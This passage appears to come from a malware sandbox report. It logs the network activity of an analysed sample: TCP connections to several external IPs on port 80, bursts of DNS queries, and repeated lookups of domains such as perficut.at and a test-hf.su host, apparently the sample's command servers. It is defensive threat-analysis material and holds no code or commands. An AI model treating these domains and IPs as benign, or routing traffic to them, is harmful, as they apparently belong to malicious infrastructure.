Feb 16, 2023 13:58:11.569302082 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569308996 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.569346905 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.815634966 CET	49715	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:58:11.962338924 CET	80	49715	203.91.116.53	192.168.2.3
Feb 16, 2023 13:58:11.962558031 CET	49715	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:58:11.962948084 CET	49715	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:58:11.962994099 CET	49715	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:58:12.110600948 CET	80	49715	203.91.116.53	192.168.2.3
Feb 16, 2023 13:58:12.762960911 CET	80	49715	203.91.116.53	192.168.2.3
Feb 16, 2023 13:58:12.763165951 CET	49715	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:58:12.763463020 CET	80	49715	203.91.116.53	192.168.2.3
Feb 16, 2023 13:58:12.763515949 CET	49715	80	192.168.2.3	203.91.116.53
Feb 16, 2023 13:58:12.823851109 CET	49716	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:58:12.909583092 CET	80	49715	203.91.116.53	192.168.2.3
Feb 16, 2023 13:58:13.064704895 CET	80	49716	211.171.233.129	192.168.2.3
Feb 16, 2023 13:58:13.064912081 CET	49716	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:58:13.065474987 CET	49716	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:58:13.065561056 CET	49716	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:58:13.307159901 CET	80	49716	211.171.233.129	192.168.2.3
Feb 16, 2023 13:58:15.057349920 CET	80	49716	211.171.233.129	192.168.2.3
Feb 16, 2023 13:58:15.058742046 CET	49716	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:58:15.060379982 CET	80	49716	211.171.233.129	192.168.2.3
Feb 16, 2023 13:58:15.060517073 CET	49716	80	192.168.2.3	211.171.233.129
Feb 16, 2023 13:58:15.147593975 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:15.299469948 CET	80	49716	211.171.233.129	192.168.2.3
Feb 16, 2023 13:58:15.390043020 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:15.390249014 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:15.390527010 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:15.390574932 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:15.634887934 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:16.683794022 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:16.683928967 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:16.684035063 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:16.686939955 CET	49717	80	192.168.2.3	211.171.233.126
Feb 16, 2023 13:58:16.928996086 CET	80	49717	211.171.233.126	192.168.2.3
Feb 16, 2023 13:58:24.704130888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:58:24.704320908 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:58:24.704387903 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:58:24.867902040 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:58:30.081159115 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:30.081352949 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:30.081410885 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:30.140244961 CET	80	49714	91.227.16.11	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 16, 2023 13:57:10.471621037 CET	58974	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:11.469438076 CET	58974	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:11.893229961 CET	53	58974	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:11.895199060 CET	53	58974	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:15.590940952 CET	63722	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:15.608597040 CET	53	63722	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:16.168559074 CET	65522	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:16.186243057 CET	53	65522	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:25.237126112 CET	59869	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:25.686733007 CET	53	59869	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:26.114938021 CET	54397	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:27.134763002 CET	54397	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:27.152328968 CET	53	54397	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:27.613660097 CET	59324	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:27.633085966 CET	53	59324	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:28.531613111 CET	53	54397	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:29.172503948 CET	59014	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:29.197405100 CET	53	59014	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:30.796127081 CET	61626	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:30.815593958 CET	53	61626	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:31.396296024 CET	61787	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:31.415925980 CET	53	61787	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:38.221534014 CET	58921	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:38.240427971 CET	53	58921	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:43.218319893 CET	62704	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:43.237786055 CET	53	62704	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:44.710155010 CET	49977	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:45.139667034 CET	53	49977	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:46.119645119 CET	57840	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:46.139056921 CET	53	57840	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:47.188035965 CET	57990	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:47.208122969 CET	53	57990	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:49.203610897 CET	52387	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:49.221431971 CET	53	52387	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:50.829493046 CET	56924	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:50.848376989 CET	53	56924	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:53.007091045 CET	60625	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:53.026612997 CET	53	60625	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:54.081331968 CET	49302	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:55.089459896 CET	49302	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:55.106890917 CET	53	49302	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:55.305318117 CET	53	49302	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:56.142015934 CET	53975	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:56.159486055 CET	53	53975	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:57.252239943 CET	51139	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:57.271723986 CET	53	51139	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:57.689647913 CET	52955	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:57.709223032 CET	53	52955	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:58.185276031 CET	60582	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:58.204761982 CET	53	60582	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:58.632376909 CET	57134	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:57:58.649694920 CET	53	57134	8.8.8.8	192.168.2.3
Feb 16, 2023 13:57:59.629996061 CET	62050	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:00.644977093 CET	62050	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:01.075124025 CET	53	62050	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:01.142261028 CET	53	62050	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:02.349178076 CET	56042	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:02.366863966 CET	53	56042	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:04.367466927 CET	59636	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:04.884341955 CET	53	59636	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:06.462987900 CET	55638	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:06.482705116 CET	53	55638	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:08.059035063 CET	57704	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:08.076792002 CET	53	57704	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:09.366247892 CET	65320	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:09.385746956 CET	53	65320	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:10.952461004 CET	60767	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:11.019347906 CET	53	60767	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:11.794080019 CET	65107	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:11.813613892 CET	53	65107	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:12.803941011 CET	53848	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:12.821860075 CET	53	53848	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:15.124946117 CET	57571	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:15.145818949 CET	53	57571	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.712424994 CET	58691	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.713206053 CET	53305	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.713206053 CET	59433	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.713562965 CET	60749	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.714684963 CET	56949	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.714993000 CET	52547	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.716866970 CET	53844	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.716928005 CET	65017	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.717014074 CET	53466	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.717423916 CET	57743	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.731525898 CET	53	60749	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.734355927 CET	53	52547	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.734524012 CET	53	57743	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.734972954 CET	53	59433	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.735367060 CET	53	53305	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.736105919 CET	53	53466	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.736562967 CET	53	53844	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.738594055 CET	53	65017	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.754704952 CET	53623	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.779992104 CET	53	56949	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.797085047 CET	61416	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.798908949 CET	65196	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.820873022 CET	53	65196	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.828114033 CET	58708	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.837829113 CET	53	61416	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.854773045 CET	53	58708	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.861738920 CET	59581	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.893740892 CET	53	59581	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.914685011 CET	53049	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.918631077 CET	60088	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.935539007 CET	53	53049	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.959472895 CET	63562	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.963234901 CET	53	58691	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.974015951 CET	53	60088	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:31.977349997 CET	53428	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:31.979032040 CET	53	63562	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.008816957 CET	53	53428	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.046587944 CET	65511	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.077887058 CET	53	53623	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.086596012 CET	59820	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.104851007 CET	64595	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.125161886 CET	53	59820	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.160897970 CET	53	64595	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.175715923 CET	53	65511	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.226586103 CET	52079	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.252557039 CET	64823	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.254192114 CET	53	52079	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.270242929 CET	53	64823	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.289230108 CET	51992	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.312742949 CET	58119	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.313123941 CET	53	51992	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.332367897 CET	53	58119	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.336720943 CET	49166	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.387991905 CET	58301	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.498502970 CET	63446	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.514959097 CET	53	58301	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.518016100 CET	53	49166	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.523828030 CET	53	63446	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.530791044 CET	49874	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.553726912 CET	53	49874	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.633986950 CET	65459	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.656724930 CET	53	65459	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.678749084 CET	65385	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.688319921 CET	54153	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.690377951 CET	64602	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.739422083 CET	53	54153	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.741774082 CET	53	65385	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.778584957 CET	50784	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.798422098 CET	53	50784	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.798518896 CET	53	64602	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.855046034 CET	64121	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.875746012 CET	53	64121	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.918241978 CET	64967	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.935272932 CET	60825	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:32.935791016 CET	53	64967	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:32.973229885 CET	53	60825	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.076642036 CET	49201	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.080198050 CET	64936	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.125042915 CET	53	64936	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.144139051 CET	60473	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.161463022 CET	59374	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.161844015 CET	53	60473	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.166177988 CET	56616	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.185856104 CET	53	56616	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.188218117 CET	53	49201	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.194386959 CET	53	59374	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.196393967 CET	61184	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.220510960 CET	53	61184	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.275631905 CET	57387	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.291140079 CET	50228	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.310195923 CET	53	57387	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.316900015 CET	53269	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.361706018 CET	53	53269	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.364084005 CET	59827	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.395591021 CET	53	59827	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.425785065 CET	53	50228	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.441519022 CET	62431	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.460774899 CET	53	62431	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.471575975 CET	64271	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.491265059 CET	53	64271	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.507220030 CET	51105	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.541523933 CET	53	51105	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.599980116 CET	52455	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.623476982 CET	53	52455	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.633030891 CET	55244	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.734317064 CET	64969	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.746192932 CET	53	55244	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.819289923 CET	53037	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.844291925 CET	53	64969	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:33.851485014 CET	55457	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.898736954 CET	60816	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:33.918834925 CET	53	60816	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.013854027 CET	53	55457	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.079994917 CET	53	53037	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.208772898 CET	62424	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.232337952 CET	53	62424	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.252511024 CET	61126	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.270256996 CET	53	61126	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.325000048 CET	55390	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.363740921 CET	58912	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.387809992 CET	53	58912	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.480495930 CET	50622	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.498152971 CET	55649	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.515085936 CET	64376	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.515955925 CET	53	50622	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.535144091 CET	53	55649	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.586314917 CET	52110	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.600670099 CET	53	55390	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.603728056 CET	53	52110	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.617373943 CET	63687	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.623455048 CET	53	64376	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.680797100 CET	57824	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:34.703191996 CET	53	57824	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:34.767592907 CET	53	63687	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:35.318068981 CET	52741	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:35.479916096 CET	53	52741	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:35.522491932 CET	60644	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:35.542016983 CET	53	60644	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:35.641479015 CET	55951	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:35.668364048 CET	53	55951	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:35.736273050 CET	51592	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:35.760659933 CET	53	51592	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:35.795800924 CET	61359	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:35.916496038 CET	53	61359	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:36.320537090 CET	58480	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:36.341630936 CET	53	58480	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:36.484692097 CET	51889	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:36.504200935 CET	53	51889	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:36.518027067 CET	60418	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:36.538711071 CET	53	60418	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:36.754396915 CET	54283	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:36.845784903 CET	53	54283	8.8.8.8	192.168.2.3
Feb 16, 2023 13:58:37.041244030 CET	59763	53	192.168.2.3	8.8.8.8
Feb 16, 2023 13:58:37.164722919 CET	53	59763	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Feb 16, 2023 13:57:11.895296097 CET	192.168.2.3	8.8.8.8	d08e	(Port unreachable)	Destination Unreachable
Feb 16, 2023 13:57:28.531833887 CET	192.168.2.3	8.8.8.8	d08e	(Port unreachable)	Destination Unreachable
Feb 16, 2023 13:57:55.305478096 CET	192.168.2.3	8.8.8.8	d08e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 16, 2023 13:57:10.471621037 CET	192.168.2.3	8.8.8.8	0x2edf	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:11.469438076 CET	192.168.2.3	8.8.8.8	0x2edf	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:15.590940952 CET	192.168.2.3	8.8.8.8	0x18fa	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:16.168559074 CET	192.168.2.3	8.8.8.8	0x842d	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:25.237126112 CET	192.168.2.3	8.8.8.8	0xc37	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:26.114938021 CET	192.168.2.3	8.8.8.8	0x339c	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.134763002 CET	192.168.2.3	8.8.8.8	0x339c	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:27.613660097 CET	192.168.2.3	8.8.8.8	0xcbfc	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:29.172503948 CET	192.168.2.3	8.8.8.8	0x1c9f	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:30.796127081 CET	192.168.2.3	8.8.8.8	0x64cb	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:31.396296024 CET	192.168.2.3	8.8.8.8	0x13f2	Standard query (0)	beg.com.ve	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:38.221534014 CET	192.168.2.3	8.8.8.8	0xc371	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:43.218319893 CET	192.168.2.3	8.8.8.8	0xc9b	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:44.710155010 CET	192.168.2.3	8.8.8.8	0x9aff	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:46.119645119 CET	192.168.2.3	8.8.8.8	0x8462	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:47.188035965 CET	192.168.2.3	8.8.8.8	0x86bf	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:49.203610897 CET	192.168.2.3	8.8.8.8	0x2e65	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:50.829493046 CET	192.168.2.3	8.8.8.8	0x349b	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:53.007091045 CET	192.168.2.3	8.8.8.8	0x85cf	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:54.081331968 CET	192.168.2.3	8.8.8.8	0x712d	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:55.089459896 CET	192.168.2.3	8.8.8.8	0x712d	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:56.142015934 CET	192.168.2.3	8.8.8.8	0x255f	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.252239943 CET	192.168.2.3	8.8.8.8	0xf360	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:57.689647913 CET	192.168.2.3	8.8.8.8	0x7c3	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.185276031 CET	192.168.2.3	8.8.8.8	0xb929	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:58.632376909 CET	192.168.2.3	8.8.8.8	0x4941	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:57:59.629996061 CET	192.168.2.3	8.8.8.8	0xe9d7	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:00.644977093 CET	192.168.2.3	8.8.8.8	0xe9d7	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:02.349178076 CET	192.168.2.3	8.8.8.8	0xb014	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:04.367466927 CET	192.168.2.3	8.8.8.8	0xf4bc	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:06.462987900 CET	192.168.2.3	8.8.8.8	0x7667	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:08.059035063 CET	192.168.2.3	8.8.8.8	0xe9f0	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:09.366247892 CET	192.168.2.3	8.8.8.8	0x7748	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:10.952461004 CET	192.168.2.3	8.8.8.8	0x3f30	Standard query (0)	h167471.srv11.test-hf.su	A (IP address)	IN (0x0001)	false
Feb 16, 2023 13:58:11.794080019 CET	192.168.2.3	8.8.8.8	0x61e7	Standard query (0)	perficut.at	A (IP address)	IN (0x0001)	false
